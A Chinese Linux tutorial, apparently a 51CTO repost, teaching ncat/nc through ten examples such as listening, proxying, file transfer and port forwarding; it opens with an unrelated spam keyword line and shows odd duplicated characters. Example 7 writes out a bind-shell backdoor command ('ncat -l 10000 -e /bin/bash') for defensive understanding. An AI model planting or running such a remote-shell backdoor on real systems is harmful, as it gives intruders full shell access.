自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

10個(gè)例子教你學(xué)會(huì)ncat (nc)命令

系統(tǒng) Linux
ncat 或者說(shuō) nc 是一款功能類(lèi)似 cat 的工具,但是是用于網(wǎng)絡(luò)的。它是一款擁有多種功能的 CLI 工具,可以用來(lái)在網(wǎng)絡(luò)上讀、寫(xiě)以及重定向數(shù)據(jù)。 它被設(shè)計(jì)成可以被腳本或其他程序調(diào)用的可靠的后端工具。同時(shí)由于它能創(chuàng)建任意所需的連接,因此也是一個(gè)很好的網(wǎng)絡(luò)調(diào)試工具。

10個(gè)例子教你學(xué)會(huì)ncat (nc)命令

ncat 或者說(shuō) nc 是一款功能類(lèi)似 cat 的工具,但是是用于網(wǎng)絡(luò)的。它是一款擁有多種功能的 CLI 工具,可以用來(lái)在網(wǎng)絡(luò)上讀、寫(xiě)以及重定向數(shù)據(jù)。 它被設(shè)計(jì)成可以被腳本或其他程序調(diào)用的可靠的后端工具。同時(shí)由于它能創(chuàng)建任意所需的連接,因此也是一個(gè)很好的網(wǎng)絡(luò)調(diào)試工具。

ncat/nc 既是一個(gè)端口掃描工具,也是一款安全工具,還能是一款監(jiān)測(cè)工具,甚至可以做為一個(gè)簡(jiǎn)單的 TCP 代理。 由于有這么多的功能,它被譽(yù)為是網(wǎng)絡(luò)界的瑞士軍刀。 這是每個(gè)系統(tǒng)管理員都應(yīng)該知道并且掌握它。

在大多數(shù) Debian 發(fā)行版中,nc 是默認(rèn)可用的,它會(huì)在安裝系統(tǒng)的過(guò)程中自動(dòng)被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 并不會(huì)默認(rèn)被安裝。 你需要用下列命令手工安裝。

  1. [root@linuxtechi ~]# yum install nmap-ncat -y

系統(tǒng)管理員可以用它來(lái)審計(jì)系統(tǒng)安全,用它來(lái)找出開(kāi)放的端口然后保護(hù)這些端口。 管理員還能用它作為客戶(hù)端來(lái)審計(jì) Web 服務(wù)器、telnet 服務(wù)器、郵件服務(wù)器等, 通過(guò) nc 我們可以控制發(fā)送的每個(gè)字符,也可以查看對(duì)方的回應(yīng)。

我們還可以用它捕獲客戶(hù)端發(fā)送的數(shù)據(jù)以此來(lái)了解這些客戶(hù)端是做什么的。

在本文中,我們會(huì)通過(guò) 10 個(gè)例子來(lái)學(xué)習(xí)如何使用 nc 命令。

 

例子: 1) 監(jiān)聽(tīng)入站連接

通過(guò) -l 選項(xiàng),ncat 可以進(jìn)入監(jiān)聽(tīng)模式,使我們可以在指定端口監(jiān)聽(tīng)入站連接。 完整的命令是這樣的:

  1. $ ncat -l port_number

比如,

  1. $ ncat -l 8080

服務(wù)器就會(huì)開(kāi)始在 8080 端口監(jiān)聽(tīng)入站連接。

 

例子: 2) 連接遠(yuǎn)程系統(tǒng)

使用下面命令可以用 nc 來(lái)連接遠(yuǎn)程系統(tǒng),

  1. $ ncat IP_address port_number

讓我們來(lái)看個(gè)例子,

  1. $ ncat 192.168.1.100 80

這會(huì)創(chuàng)建一個(gè)連接,連接到 IP 為 192.168.1.100 的服務(wù)器上的 80 端口,然后我們就可以向服務(wù)器發(fā)送指令了。 比如我們可以輸入下面內(nèi)容來(lái)獲取完整的網(wǎng)頁(yè)內(nèi)容

  1. GET / HTTP/1.1

或者獲取頁(yè)面名稱(chēng),

  1. GET / HTTP/1.1

或者我們可以通過(guò)以下方式獲得操作系統(tǒng)指紋標(biāo)識(shí),

  1. HEAD / HTTP/1.1

這會(huì)告訴我們使用的是什么軟件來(lái)運(yùn)行這個(gè) web 服務(wù)器的。

 

例子: 3) 連接 UDP 端口

默認(rèn)情況下,nc 創(chuàng)建連接時(shí)只會(huì)連接 TCP 端口。 不過(guò)我們可以使用 -u 選項(xiàng)來(lái)連接到 UDP 端口,

  1. $ ncat -l -u 1234

現(xiàn)在我們的系統(tǒng)會(huì)開(kāi)始監(jiān)聽(tīng) UDP 的 1234 端口,我們可以使用下面的 netstat 命令來(lái)驗(yàn)證這一點(diǎn),

  1. $ netstat -tunlp | grep 1234
  2. udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc
  3. udp6 0 0 :::1234 :::* 17341/nc

假設(shè)我們想發(fā)送或者說(shuō)測(cè)試某個(gè)遠(yuǎn)程主機(jī) UDP 端口的連通性,我們可以使用下面命令,

  1. $ ncat -v -u {host-ip} {udp-port}

比如:

  1. [root@localhost ~]# ncat -v -u 192.168.105.150 53
  2. Ncat: Version 6.40 ( http://nmap.org/ncat )
  3. Ncat: Connected to 192.168.105.150:53

 

例子: 4) 將 nc 作為聊天工具

nc 也可以作為聊天工具來(lái)用,我們可以配置服務(wù)器監(jiān)聽(tīng)某個(gè)端口,然后從遠(yuǎn)程主機(jī)上連接到服務(wù)器的這個(gè)端口,就可以開(kāi)始發(fā)送消息了。 在服務(wù)器這端運(yùn)行:

  1. $ ncat -l 8080

在遠(yuǎn)程客戶(hù)端主機(jī)上運(yùn)行:

  1. $ ncat 192.168.1.100 8080

之后開(kāi)始發(fā)送消息,這些消息會(huì)在服務(wù)器終端上顯示出來(lái)。

 

例子: 5) 將 nc 作為代理

nc 也可以用來(lái)做代理。比如下面這個(gè)例子,

  1. $ ncat -l 8080 | ncat 192.168.1.200 80

所有發(fā)往我們服務(wù)器 8080 端口的連接都會(huì)自動(dòng)轉(zhuǎn)發(fā)到 192.168.1.200 上的 80 端口。 不過(guò)由于我們使用了管道,數(shù)據(jù)只能被單向傳輸。 要同時(shí)能夠接受返回的數(shù)據(jù),我們需要?jiǎng)?chuàng)建一個(gè)雙向管道。 使用下面命令可以做到這點(diǎn):

  1. $ mkfifo 2way
  2. $ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

現(xiàn)在你可以通過(guò) nc 代理來(lái)收發(fā)數(shù)據(jù)了。

 

例子: 6) 使用 nc 拷貝文件

nc 還能用來(lái)在系統(tǒng)間拷貝文件,雖然這么做并不推薦,因?yàn)榻^大多數(shù)系統(tǒng)默認(rèn)都安裝了 ssh/scp。 不過(guò)如果你恰好遇見(jiàn)個(gè)沒(méi)有 ssh/scp 的系統(tǒng)的話(huà), 你可以用 nc 來(lái)作最后的努力。

在要接受數(shù)據(jù)的機(jī)器上啟動(dòng) nc 并讓它進(jìn)入監(jiān)聽(tīng)模式:

  1. $ ncat -l 8080 > file.txt

現(xiàn)在去要被拷貝數(shù)據(jù)的機(jī)器上運(yùn)行下面命令:

  1. $ ncat 192.168.1.100 8080 --send-only < data.txt

這里,data.txt 是要發(fā)送的文件。 -–send-only 選項(xiàng)會(huì)在文件拷貝完后立即關(guān)閉連接。 如果不加該選項(xiàng), 我們需要手工按下 ctrl+c 來(lái)關(guān)閉連接。

我們也可以用這種方法拷貝整個(gè)磁盤(pán)分區(qū),不過(guò)請(qǐng)一定要小心。

 

例子: 7) 通過(guò) nc 創(chuàng)建后門(mén)

nc 命令還可以用來(lái)在系統(tǒng)中創(chuàng)建后門(mén),并且這種技術(shù)也確實(shí)被黑客大量使用。 為了保護(hù)我們的系統(tǒng),我們需要知道它是怎么做的。 創(chuàng)建后門(mén)的命令為:

  1. $ ncat -l 10000 -e /bin/bash

-e 標(biāo)志將一個(gè) bash 與端口 10000 相連。現(xiàn)在客戶(hù)端只要連接到服務(wù)器上的 10000 端口就能通過(guò) bash 獲取我們系統(tǒng)的完整訪(fǎng)問(wèn)權(quán)限:

  1. $ ncat 192.168.1.100 10000

 

例子: 8) 通過(guò) nc 進(jìn)行端口轉(zhuǎn)發(fā)

我們通過(guò)選項(xiàng) -c 來(lái)用 nc 進(jìn)行端口轉(zhuǎn)發(fā),實(shí)現(xiàn)端口轉(zhuǎn)發(fā)的語(yǔ)法為:

  1. $ ncat -u -l 80 -c 'ncat -u -l 8080'

這樣,所有連接到 80 端口的連接都會(huì)轉(zhuǎn)發(fā)到 8080 端口。

 

例子: 9) 設(shè)置連接超時(shí)

nc 的監(jiān)聽(tīng)模式會(huì)一直運(yùn)行,直到手工終止。 不過(guò)我們可以通過(guò)選項(xiàng) -w 設(shè)置超時(shí)時(shí)間:

  1. $ ncat -w 10 192.168.1.100 8080

這回導(dǎo)致連接 10 秒后終止,不過(guò)這個(gè)選項(xiàng)只能用于客戶(hù)端而不是服務(wù)端。

 

例子: 10) 使用 -k 選項(xiàng)強(qiáng)制 nc 待命

當(dāng)客戶(hù)端從服務(wù)端斷開(kāi)連接后,過(guò)一段時(shí)間服務(wù)端也會(huì)停止監(jiān)聽(tīng)。 但通過(guò)選項(xiàng) -k 我們可以強(qiáng)制服務(wù)器保持連接并繼續(xù)監(jiān)聽(tīng)端口。 命令如下:

  1. $ ncat -l -k 8080

現(xiàn)在即使來(lái)自客戶(hù)端的連接斷了也依然會(huì)處于待命狀態(tài)。 

責(zé)任編輯:龐桂玉 來(lái)源: Linux中國(guó)
相關(guān)推薦

2022-10-08 13:29:19

Pandasgroupby

2018-04-02 10:37:10

Linux命令size

2022-08-14 14:54:10

Pandas字符串數(shù)字類(lèi)型

2018-02-25 10:45:08

Linux命令uptime

2018-01-15 14:07:16

Linux命令free

2018-05-05 07:18:52

機(jī)器學(xué)習(xí)線(xiàn)性代數(shù)深度學(xué)習(xí)

2009-12-01 15:02:24

SuSE 10安裝VM

2018-03-12 15:26:00

Linux命令tee

2014-03-17 17:27:51

Linux mvLinux 命令

2013-12-06 17:39:49

Linuxps命令

2022-08-01 10:44:37

人工智能AI

2020-07-07 08:01:37

nc命令Linux網(wǎng)絡(luò)命令行工具

2021-04-20 11:40:47

指針類(lèi)型CPU

2019-12-27 16:21:54

Python 開(kāi)發(fā)編程語(yǔ)言

2009-10-13 14:33:00

2024-01-25 11:41:00

Python開(kāi)發(fā)前端

2021-04-21 11:08:00

數(shù)據(jù)分析數(shù)據(jù)集Python

2023-03-14 08:02:14

靜態(tài)路由動(dòng)態(tài)路由設(shè)備

2020-07-26 00:29:54

物聯(lián)網(wǎng)智慧城市IOT

2009-06-11 14:48:48

jbpm工作流引擎jbpm例子
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)